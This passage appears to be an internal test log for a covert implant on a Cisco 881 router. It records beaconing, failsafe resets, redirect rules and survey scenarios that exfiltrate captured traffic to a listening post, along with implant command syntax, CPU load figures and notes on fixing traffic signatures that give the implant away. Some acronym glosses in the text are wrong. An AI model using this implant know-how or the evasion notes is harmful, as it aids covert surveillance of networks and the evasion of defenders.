    7. Used device_upgrade to upgrade CMNCaiman (Codename)? to the version that beacons every 1 min
    8. Upgrade loaded successfully:
       

       Total commands reporting status: 1

       Command: 1
       Module: 1
       Command: 1
       Status: SUCCESS

    9. Rebooted DUTDevice Under Test to move to the new upgrade version in ROMMON
    10. Verified that the new version did load by checking the Build Time:
        

        [Versioning]
        Cinnamon Version = 5.0.0 Jun 26 2015 - 10:49:04

    11. New version will not beacon every minute as I thought even though it was built with that setting in the cinnamon.cfg file.  This is due to the previous persistent version already present on the DUTDevice Under Test before upgrade.  The persistent implant config data was already saved to NVRAMNon-volatile Random Access Memory and this will take precendence over the settings build into the CMNCaiman (Codename)? base implant.  

    12. Successfully updated the beacon interval using the pepper command beacon_interval.
15. Testing Internet Detection
    1. DUT currently implanted with sticky norb, beaconing every 1 minute, seeds traffic had been running, just wget.
    2. Stopped seeds traffic.
    3. Changed learning repeat interval through pepper command to be 120s. - module 2 acknowledged success
    4. Reloaded DUTDevice Under Test - will see if it is able to beacon once it's back up
    5. DUT came back up and as expected, it was not able to beacon even after the DUTDevice Under Test was up for 12 minutes
    6. I turned Seeds traffic on and CMNCaiman (Codename)? then began to beacon - CMNCaiman (Codename)? must have learned the interfaces during the learning phase, even without seed traffic.  CMN can then perform Internet Detection all the time, and as soon as it sees the internet connection, it will attempt the beacon with the expired timer that it couldn't attempt to send earlier.  Internet Detection continues until internet detected, then backoff delay of 1 minute if detected.
    7. Next step - test with different DNSDomain Name System server (non-recursive) on Seeds traffic.

    8. watch -n2 wget -nv -T 1 -O /dev/null http://alias.google.com

    9. Reloaded DUTDevice Under Test to clear out learned interfaces and internet detection

    10. Set Seeds to use X.X.X.X (LVLT-GOGL-8-8-8[US]) as DNSDomain Name System server - never could get CMNCaiman (Codename)? to beacon, timed or triggered.
    11. Changed Seeds to use 4.4.4.4 - never could get CMNCaiman (Codename)? to beacon in response to a trigger
    12. Reloaded DUTDevice Under Test - CMNCaiman (Codename)? beaconing in response to trigger, but not timed beacons
    13. Set beacon interval to every 1 minute - beacon response to trigger, but do not received timed beacons
    14. Reloaded DUT, Seeds still on 4.4.4.4 - CMNCaiman (Codename)? still responding to trigger through flux, but not receiving timed beacons even after setting to every 20s.  This is because the beacon failsafe timeout had been reached.
    15. Reset the beacon failsafe with bacon - reset command successful.
    16. Reset device to beacon every 2 minutes
    17. Verify Seeds using DNSDomain Name System server 4.4.4.4
    18. Reloaded DUTDevice Under Test to see if it will automatically detect internet with 4.4.4.4 and begin timed beacons every 2 minutes as expected. - Confirmed
    19. Switched seeds to use X.X.X.X (LVLT-GOGL-8-8-8[US]) - beacons still coming every 2 minutes.  Letting run for more than 10 minutes to account for back off delay.
    20. Beacons worked on X.X.X.X (LVLT-GOGL-8-8-8[US]) server all night, every two minutes.  Going to reboot and see if it still works with the X.X.X.X (LVLT-GOGL-8-8-8[US]) DNSDomain Name System server
    21. Rebooted 881 and it began beaconing again with X.X.X.X (LVLT-GOGL-8-8-8[US]) for Seeds traffic.  Verified traffic to X.X.X.X (LVLT-GOGL-8-8-8[US]) server and see the following in output of tcpdump - CMN-7:
        

        09:18:53.154280 IP XXX.XX.XXX.XXX (CABLEVISION[US]).50424 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 7281+ A? alias.google.com. (34)
        09:18:53.756970 IP XXX.XX.XXX.XXX (CABLEVISION[US]).26126 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 24123+ A? www.google.com. (32)
        09:18:53.759726 IP XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 118
        09:18:55.169643 IP XXX.XX.XXX.XXX (CABLEVISION[US]).57481 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 34067+ AAAA? alias.google.com. (34)
        09:18:55.172606 IP XXX.XX.XXX.XXX (CABLEVISION[US]).50223 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 51940+ A? alias.google.com. (34)
        09:18:56.105590 IP XXX.XX.XXX.XXX (CABLEVISION[US]).29803 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 22405+ A? www.suptest.com. (33)
        09:18:56.108065 IP XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 108
        09:18:57.188784 IP XXX.XX.XXX.XXX (CABLEVISION[US]).38501 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 62451+ AAAA? alias.google.com. (34)
        09:18:57.191526 IP XXX.XX.XXX.XXX (CABLEVISION[US]).52440 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 53376+ A? alias.google.com. (34)
        09:18:59.206950 IP XXX.XX.XXX.XXX (CABLEVISION[US]).36149 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 47735+ AAAA? alias.google.com. (34)
        09:18:59.209641 IP XXX.XX.XXX.XXX (CABLEVISION[US]).555

    22. Stopped Seeds traffic to see how long it will keep beaconing - it does, added -v to get more detail on tcpdump output ICMPInternet Control Message Protocol unreachables.

        09:39:03.772956 IP (tos 0x0, ttl 254, id 28, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 60)
        XXX.XX.XXX.XXX (CABLEVISION[US]).28355 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 56049+ A? www.google.com. (32)
        09:39:03.775915 IP (tos 0xc0, ttl 62, id 18672, offset 0, flags [none], proto ICMPInternet Control Message Protocol (1), length 138)
        XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 118
        IP (tos 0x0, ttl 62, id 51133, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 110)
        X.X.X.X (LVLT-GOGL-8-8-8[US]).53 > XXX.XX.XXX.XXX (CABLEVISION[US]).28355: 56049* 1/1/1 www.google.com. A X.X.X.XX (LVLT-GOGL-8-8-8[US]) (82)
        09:39:05.774558 IP (tos 0x0, ttl 254, id 29, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 61)
        XXX.XX.XXX.XXX (CABLEVISION[US]).31670 > X.X.X.X (LVLT-GOGL-8-8-8[US]).53: 29828+ A? www.suptest.com. (33)
        09:39:05.778277 IP (tos 0xc0, ttl 62, id 18673, offset 0, flags [none], proto ICMPInternet Control Message Protocol (1), length 128)
        XXX.XX.XXX.XXX (CABLEVISION[US]) > X.X.X.X (LVLT-GOGL-8-8-8[US]): ICMPInternet Control Message Protocol host XXX.XX.XXX.XXX (CABLEVISION[US]) unreachable - admin prohibited, length 108
        IP (tos 0x0, ttl 62, id 51134, offset 0, flags [none], proto UDPUser Datagram Protocol (17), length 100)
        X.X.X.X (LVLT-GOGL-8-8-8[US]).53 > XXX.XX.XXX.XXX (CABLEVISION[US]).31670: 29828* 1/1/0 www.suptest.com. A 172.20.13.10 (72)

    23. Rebooted DUTDevice Under Test with no seeds traffic - Device did not beacon
    24. Started Seeds to X.X.X.X (LVLT-GOGL-8-8-8[US]) and CMNCaiman (Codename)? immediately beaconed.
    25. Seeds stopped working after just a few minutes.  Tried restarting seeds process, still doesn't work.  Manual lookups from Seeds host do work.  CMN no longer beaconing.  Only ever sent the first one.
    26. Seeds stopped working, I triggered the implant and it did beacon.  At that time, I noticed seeds was also now working.  I sent a beacon failsafe reset to the implant and now beaconing every 2 min.
    27. Trying to repeat the results - starting with DUTDevice Under Test reboot with no Seeds traffic.  Unable to reproduce so far.  This was likely due to DNSDomain Name System server issue, manual lookups were likely cached.  Likely caused by someone else making changes on DNSDomain Name System server while I was testing.
    28. Test using real web browser requests for Internet detection
        1. Reloaded DUTDevice Under Test with no seeds traffic running
        2. Waited until CMNCaiman (Codename)? was up and then opened firefox on Seeds host and connected to www.cnn.com (X.X.X.X (LVLT-GOGL-8-8-8[US]) was dns server) - success, CMNCaiman (Codename)? began beaconing.
    29. Test switch DNSDomain Name System servers after CMNCaiman (Codename)? is already up - CMNCaiman (Codename)? expected to use newly detected DNSDomain Name System server
        1. CMN running on DUT, using X.X.X.X (LVLT-GOGL-8-8-8[US]) as the detected DNSDomain Name System server
        2. Change DNSDomain Name System server on Seeds host to 4.4.4.4
        3. Verified that CMNCaiman (Codename)? began sending DNSDomain Name System queries to the newly detected 4.4.4.4 server
16. Test CMNCaiman (Codename)? queries to a DNSDomain Name System server that does not perform recursion
    1. Created a DNSDomain Name System server 4.4.4.3 that does not perform recursive queries.
    2. Switched Seeds traffic to 4.4.4.3 Server
    3. Observed CMNCaiman (Codename)? implant still uses 4.4.4.4 server for DNSDomain Name System queries despite switching Seeds and continues to be able to beacon
    4. No other anomalous output observed - no snmp trap, no syslog message or console message
    5. Created a zone to provide a valid answer for seeds traffic - www.internal.com on 4.4.4.3.  
    6. Changed Seeds traffic to query for www.internal.com - CMNCaiman (Codename)? now attempts to perform PROBE DEST lookups from 4.4.4.3 and fails to beacon
    7. Attempt to trigger CMNCaiman (Codename)? with IP address - CMNCaiman (Codename)? does respond by performing DNSDomain Name System lookup to PROBE_DEST, but never beacons.  This is consistent with User Guide which states that before beaconing, CMNCaiman (Codename)? will perform active internet detection steps and if successful, will inititate a beacon.  No distinction made between beaconing by IP address and beaconing using hostname.
    8. Switched back to using 4.4.4.4 for seeds traffic - CMNCaiman (Codename)? will now respond to trigger by IP address, after giving it a minute to learn the new DNSDomain Name System server
    9. CMN did not resume timed beacons until i reset failsafe.
17. Test CMNCaiman (Codename)? modules after reboot and reupload of modules
    1. Persistent CMNCaiman (Codename)? loaded, DUTDevice Under Test has been reboote
    2. Loaded modules to MCN
    3. Setup Redirect and Collect rules
    4. Tested redirect rule from Seeds host, web traffic was redirected per the rule
    5. Sent a .send file that contained two lines - survey_show and redir_show.  Status file indicates both commands successful, however spicerack never receives a .rules file - CMN-8.  I was able to execute redir_show indivually and .rules file shows up in spicerack.
    6. Trying the same two line command file but with redir_show first.  I did receive both the .rules file and the .rcvd file showing the survey scenario
    7. Successfully exfilled data from survey scenario - sent some additional exfil command for non existent scenarios, error messages returned for non-existent scenarios:
       

       [root@blot-spicerack receive]# more 20150702160823_0000011741.status

       [Command Results]
       Total commands reporting status: 3

       Command: 1
       Module: 5
       Command: 2
       Status: FAILURE - 0x00000007

       Command: 2
       Module: 5
       Command: 2
       Status: SUCCESS

       Command: 3
       Module: 5
       Command: 2
       Status: FAILURE - 0x00000007

18. Test 18 Verify traffic collected by survey module - tunnel, outside tunnel

    1. Verified CMNCaiman (Codename)? running with both survey and redir modules uploaded, no redir rules or survey scenarios active
    2. Set up HTTPHypertext Transfer Protocol traffic both inside and outside the tunnel from the Seeds host - wgets to both www.cnn.com and XXX.XXX.X.X (CORE2[US])
    3. Created a survey scenario to capture all HTTPHypertext Transfer Protocol traffic matching Seeds host and source port 80 for 2 minutes with a 30 second window and 10 second start delay, uploaded cmd.
       

       survey_add_scenario|1|00:00:02:00|00:00:30|protocol|source_addr|source_port|dest_addr
       survey_add_filter|1|accept|XXX.XXX.XXX.XX (CORE2[US])|255.255.255.255|80|80|TCP
       survey_start_scenario|1|offset|00:00:00:10

    4. Filter was successful:

       [root@blot-spicerack unscramble]# more 20150708204233_0000013898.csv
       sep=,
       Scenario ID,1
       Assigned Start Time,2015-07-08_20:39:02_GMT
       Actual Start Time,2015-07-08_20:39:02_GMT
       Duration,120
       Resolution,30
       Overflow Count,0
       Quantifier Fields,Protocol,Source Address,Source Port,Destination Address,
       Number of Filters,1
       Number of Entries,8

       Filter List
       Filter ID,Filter Type,Filter Protocol,IP Address,Netmask,Port Start,Port End
       0,Accept,TCP,XXX.XXX.XXX.XX (CORE2[US]),255.255.255.255,80,80

       Exfiltration Entries
       Entry,Matched Filter,First Time,Last Time,Window,Sessions,Packets,Bytes,Source Addr,Source Port,Dest Addr,Dest Port,Protocol
       0,0,2015-07-08_20:40:32_GMT,2015-07-08_20:41:00_GMT,3,15,105,1635,008.008.008.025,80,100.200.177.010,0,6
       1,0,2015-07-08_20:40:03_GMT,2015-07-08_20:40:30_GMT,2,14,98,1526,008.008.008.025,80,100.200.177.010,0,6
       2,0,2015-07-08_20:39:33_GMT,2015-07-08_20:40:01_GMT,1,15,105,1635,008.008.008.025,80,100.200.177.010,0,6
       3,0,2015-07-08_20:39:02_GMT,2015-07-08_20:39:31_GMT,0,15,105,1635,008.008.008.025,80,100.200.177.010,0,6
       4,0,2015-07-08_20:40:33_GMT,2015-07-08_20:41:01_GMT,3,12,73,1308,100.255.000.001,80,100.200.177.010,0,6
       5,0,2015-07-08_20:40:02_GMT,2015-07-08_20:40:31_GMT,2,8,27,545,100.255.000.001,80,100.200.177.010,0,6
       6,0,2015-07-08_20:39:36_GMT,2015-07-08_20:40:00_GMT,1,10,60,981,100.255.000.001,80,100.200.177.010,0,6
       7,0,2015-07-08_20:39:03_GMT,2015-07-08_20:39:30_GMT,0,9,35,763,100.255.000.001,80,100.200.177.010,0,6

    5. HTTP replies from both inside and outside the tunnel to the Seeds host iP were captured.  
    6. Created a filter just match traffic for IP XXX.XXX.X.X (CORE2[US]) - collected just the 80 traffic from Seeds host
    7. Ran the same scenario again, this time bouncing t0 on DUTDevice Under Test and running a ping to XXX.XXX.X.X (CORE2[US]) during survey - still only port 80 TCPTransport Control Protocol traffic collected.  
    8. Changed the scenario to capture UDPUser Datagram Protocol traffic instead of TCPTransport Control Protocol and performed the same tunnel bounce and ping on DUTDevice Under Test - when I tried to exfil the data, got the following error message, which indicates nothing to exfil:
       

       [root@blot-spicerack receive]# more 20150708213455_0000013910.status

       [Command Results]
       Total commands reporting status: 1

       Command: 1
       Module: 5
       Command: 2
       Status: FAILURE - 0x0000000c

       [root@blot-spicerack receive]#

    9. Changed the scenario to capture TCPTransport Control Protocol and UDPUser Datagram Protocol traffic from the remote tunnel endpoint - XX.XX.XXX.XXX (GULF-CYBERIAN[AE]).  Collected the following UDPUser Datagram Protocol isakmp packets between the endpoints:
       

       Exfiltration Entries
       Entry,Matched Filter,First Time,Last Time,Window,Sessions,Packets,Bytes,Source Addr,Source Port,Dest Addr,Dest Port,Protocol
       0,0,2015-07-08_21:50:09_GMT,2015-07-08_21:50:09_GMT,3,0,2,184,084.047.252.254,500,181.028.148.254,500,17
       1,0,2015-07-08_21:48:44_GMT,2015-07-08_21:49:09_GMT,1,0,7,980,084.047.252.254,500,181.028.148.254,500,17

19. IXIA 3 day test
    1. Rx the following syslog message during the test:
       

       Jul 3 00:49:30.266: %IP_VFR-4-FRAG_TABLE_OVERFLOW: Tunnel0: the fragment table has reached its maximum threshold 16
       Jul 3 00:56:15.306: %IP_VFR-4-FRAG_TABLE_OVERFLOW: Tunnel0: the fragment table has reached its maximum threshold 16
       From show ip traffic:

       Frags: 629988 reassembled, 0 timeouts, 0 couldn't reassemble
       630009 fragmented, 1890036 fragments, 0 couldn't fragment

    2. This also generated corresponding SNMPSimple Network Management Protocol Traps
       clogHistTimestamp.6 = 2077441 
       clogHistMsgText.6 = Tunnel0: the fragment table has reached its maximum threshold 16 
       clogHistMsgName.6 = FRAG_TABLE_OVERFLOW 
       clogHistSeverity.6 = 5 
       clogHistFacility.6 = IP_VFR 
       snmpTrapOID = CISCO-SYSLOG-MIB:clogMessageGenerated 
       sysUpTime = 5 hours 46 minutes 14.44 seconds 

    3. Peak memory used during the test actually slightly lower than during the 1 day test without CMNCaiman (Codename)? - (with CMNCaiman (Codename)? about 56%, without 60%)

    4. CPU higher during test with CMNCaiman (Codename)? - peak hits about 30% higher with CMNCaiman (Codename)? - with CMNCaiman (Codename)? about 90%, without 60%.  Sustained CPU also higher with CMNCaiman (Codename)? - less than 10% without CMN, closer to 15% with

    5. CMN timed beacons not working - due to IXIA traffic, timed beacons had failed and failsafe tripped.  CMN does respond to trigger.  Reset beacon failsafe.

    6. Uninstalled CMNCaiman (Codename)? and then reloaded DUT.  Repeating same IXIA traffic test without CMNCaiman (Codename)? installed for 24 hours to verify previous results.
       1. At start of test - Used memory 41589092, CPU - 

          CPU utilization for five seconds: 4%/0%; one minute: 4%; five minutes: 3%

       2. Memory used 26%, Average CPU Load 3%

20. Inspect Wireshark of Beacons
    1. Found CMNCaiman (Codename)? in state where it had stopped timed beacons over the long weekend.  i had stopped seeds traffic on Friday, however it should remember it's DNSDomain Name System and HTTPHypertext Transfer Protocol passive internet detection values forever.  
    2. Sent a trigger packet - it did not reach seeds, host, so CMNCaiman (Codename)? picked it up.
    3. Confirmed with wireshark that in the absence of other seed traffic, CMNCaiman (Codename)? had somehow sniffed 10.9.8.21 as the DNSDomain Name System server.  So active internet detection step to verify access to PROBE_DEST is failing.
    4. Restarted Seeds script to get CMNCaiman (Codename)? to use correct DNSDomain Name System server.
    5. Captured wireshark of beacons with Blot Proxy server - with and without offload.
    6. Collected a wireshark of Seeds SSLSecure Socket Layer session with Coverweb server for comparison - with and without offload
    7. Noticed some odd things in the wireshark of the beacons
       1. Client Hello - SSL, Random - time is set to Mar 21, 2034
          1. This is OK - many recent browsers stick random data into this field and when viewed in wireshark, this causes strange dates (User #?)
       2. SSL packets from CMNCaiman (Codename)? do not have the DF bit set in IP (DFB bit is set when I web browse from the client to the coverweb server
          1. Reported verbally to User #77620 7/9/15 - he is investigating and will implement a fix (User #?)
          2. Created CMN-9 JIRAUser Managment Software (Atlassian) issue for DF bit not set
       3. Between the Server Hello and Certificate, Server Hello done packets, see several sets of TCPTransport Control Protocol segment of a reassembled PDU followed by TCPTransport Control Protocol ACKAcknowledge exchanges.  This is not present in web User #? SSLSecure Socket Layer session to coverweb from Seeds host.
       4. After client hello, should see server hello, certificate packet followed by a server key exchange, server hello done packet.  CMN instead just shows Server hello, then a Certificate, Server hello done packet.  No key exchange.
          1. This is because Blot is sending those (fake) server SSLSecure Socket Layer packets when Cinnamon beacons, and when it's to the cover server, Apache is sending the real SSLSecure Socket Layer handshake packets.  Apache combines Server Hello and Certificate into one message, whereas Blot splits them up.  This is a signature issue, as it's atypical to see the messages split up that way by a server, however in terms of priority, removing SSLv3 should be higher.  See below. (User #?)
       5. CMN also missing the Encryption Alert packets in wireshark.
          1. This is bad, needs fixed (User #?)
          2. Created CMN-10 JIRAUser Managment Software (Atlassian) issue for Encrypted alert packet not present
       6. Traffic to the cover server results in both the client (Firefox) and the server (Apache) offering TLSv1 in their respective Hello messages.  Implant traffic to the same DNSDomain Name System (Blot proxy) will result in SSLv3 being offered in both Client Hello and Server Hello messages.  This is alerting that the same server does different versions depending on which clients access it.  This is a Blot (Xetron) issue, Cinnamon has no control over this.
          1. Operational use note to COG/OSD to ensure Apache cover server is configured to give SSLv3, however this is also kind of bad (see next bullet)
       7. Swindle (Bloth HTTPSHypertext Transfer Protocol Secure protocol) uses SSLv3.  This is rarely used these days, and is a signature.  If recent web browsers go to the Blot proxy, and are sent to the Cover Server (which should be configured to give SSLv3 so as to be consistent with implant traffic), the browser will likely reject the connection.  Browsers are now being defaulted to not allow SSLv3 (and are removing support altogether), as there are many vulnerabilties in it.  Xetron issue, Cinnamon has no control over this.
21. Test Fragmentation - characterize DF bit not set issue
    1. Without using flux, verified that triggered beacons are working to the 881 currently.
    2. On TR-Core, set mtu to 512 on vlan204 interface.  According to Cisco documentation, ip mtu command will not affect MTUMaximum Transmission Unit but mtu command will also change ip mtu
    3. Sent another trigger packet and it went through successfully
    4. Set mtu to 64, 128, 256 and tried each time to trigger - no beacon was rcvd
    5. Set mtu back to 512 - successfully triggered a beacon
    6. After further testing with different sizes, it seems that around mtu 295-299 causes the beacon to fail.  Tried changing only ip mtu, only mtu, and both ip mtu and mtu together.  Results are not 100% consistent within this range, but this seems to be the demarcation where the beacon will fail.
22. Test IXIA with both tunnel traffic as well as NATNetwork Address Translation traffic
    1. Configured IXIA to test from 881 LANLocal Area Network segment to a subnet that routes through the tunnel as well as a subnet that routes outside the tunnel
    2. 10.100.100.0/24 (VLANVirtual Local Area Network 220) is the outside the tunnel segment, traffic to this subnet uses 881 interface f4 and is NAT'd out
    3. 10.200.200.0/24 (VLANVirtual Local Area Network 221is the inside the tunnel segment, traffic to this subnet uses eigrp to route inside the tunnel and it is not NAT'd by the 881
    4. Both subnets are configured on the 3845 hub router for this test setup.
    5. DUT is clean, no CMNCaiman (Codename)? installed.
    6. Setup an IXIA NN with 20 hosts behind 881, 10 hosts at other end of tunnel and 90 external outside tunnel hosts.  Setup test to run 100,000 max superflows, SOHOSmall Office / Home Office profile, and a range of traffic up to 10M.
    7. Test ran for 2h 40m and DUTDevice Under Test CPU shows:
       

       881-Bottom#show proc cpu
       CPU utilization for five seconds: 45%/35%; one minute: 42%; five minutes: 36%
       PIDProcess ID Runtime(ms) Invoked uSecs 5Sec 1Min 5Min TTYTeletype device Process

       
       

    8. Solarwinds reporting CPU at 38% and Mem at 59% used
    9. Installed CMNCaiman (Codename)? 880-norb version 5.0.1 - during IACInternational Access Code attack, CPU spiked:
       

       881-Bottom#sh proc | i %
       CPU utilization for five seconds: 99%/42%; one minute: 97%; five minutes: 71%

    10. CPU returned to a low number after waiting a bit:

        881-Bottom#sh proc | i %
        CPU utilization for five seconds: 16%/10%; one minute: 23%; five minutes: 55%

    11. Uploaded CMNCaiman (Codename)? using IACInternational Access Code and saw a small increase in CPU:

        881-Bottom#sh proc | i %
        CPU utilization for five seconds: 28%/11%; one minute: 24%; five minutes: 54%

    12. Post install - CPU has increased:
        

        881-Bottom#sh proc | i %
        CPU utilization for five seconds: 50%/31%; one minute: 41%; five minutes: 45%

    13. CMN installed successfully.  Allowed to run for an hour and CPU now higher: